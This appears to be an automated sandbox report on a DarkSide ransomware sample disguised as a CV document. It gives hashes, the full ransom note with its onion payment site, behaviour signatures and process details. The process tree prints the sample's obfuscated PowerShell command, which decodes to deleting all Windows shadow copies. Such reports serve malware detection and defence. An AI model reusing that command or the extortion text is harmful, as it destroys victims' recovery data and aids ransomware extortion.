Analysis

  • max time kernel
    120s
  • max time network
    172s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    29-07-2021 19:42

General

  • Target

    CV_MickoE.doc.exe

  • Size

    30KB

  • MD5

    f00aded4c16c0e8c3b5adfc23d19c609

  • SHA1

    86ca4973a98072c32db97c9433c16d405e4154ac

  • SHA256

    4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

  • SHA512

    a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 10 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CV_MickoE.doc.exe
    "C:\Users\Admin\AppData\Local\Temp\CV_MickoE.doc.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1048
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:828
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1344

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

    MD5

    9d2be1f0f2dff24f07d6948f3e088b79

    SHA1

    f630d1b2643bc73de7b9a2568361bd9ff3de8589

    SHA256

    402afc9911a9449dc4a8eedaeaf56ec45d760e729fb284439dd35874b11914a2

    SHA512

    60ff053163aa730d38401419c12c974b932e2ba895a09cc0b8e88044374a15e2812d832a7d1bdc60507256abf9b1153b8ddd92e68a5c052ad4988bc5708a1c6b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    MD5

    0a022dd6003ec62309682321c6228e88

    SHA1

    efa01ec1772d1dba6f1131830aca60aa8ed11a06

    SHA256

    0fbadd511eaa7bab9f1430c2c66ee16170da2e58e582aa879b5b1c85085d6663

    SHA512

    001e810984af3b5abfeb97fff5f6a9499883ac6d5ac72674cafbdbc4125e90ced73338a5d357713931496c1239e278ea7fbba44ec04063fc31a3e5978049db25

  • memory/828-66-0x000000001AB94000-0x000000001AB96000-memory.dmp

    Filesize

    8KB

  • memory/828-63-0x0000000002470000-0x0000000002471000-memory.dmp

    Filesize

    4KB

  • memory/828-64-0x000000001AC10000-0x000000001AC11000-memory.dmp

    Filesize

    4KB

  • memory/828-65-0x000000001AB90000-0x000000001AB92000-memory.dmp

    Filesize

    8KB

  • memory/828-67-0x0000000002650000-0x0000000002651000-memory.dmp

    Filesize

    4KB

  • memory/828-68-0x00000000024B0000-0x00000000024B1000-memory.dmp

    Filesize

    4KB

  • memory/828-69-0x000000001C170000-0x000000001C171000-memory.dmp

    Filesize

    4KB

  • memory/828-70-0x000000001B640000-0x000000001B641000-memory.dmp

    Filesize

    4KB

  • memory/828-62-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

    Filesize

    8KB

  • memory/828-61-0x0000000000000000-mapping.dmp

  • memory/1048-60-0x0000000075591000-0x0000000075593000-memory.dmp

    Filesize

    8KB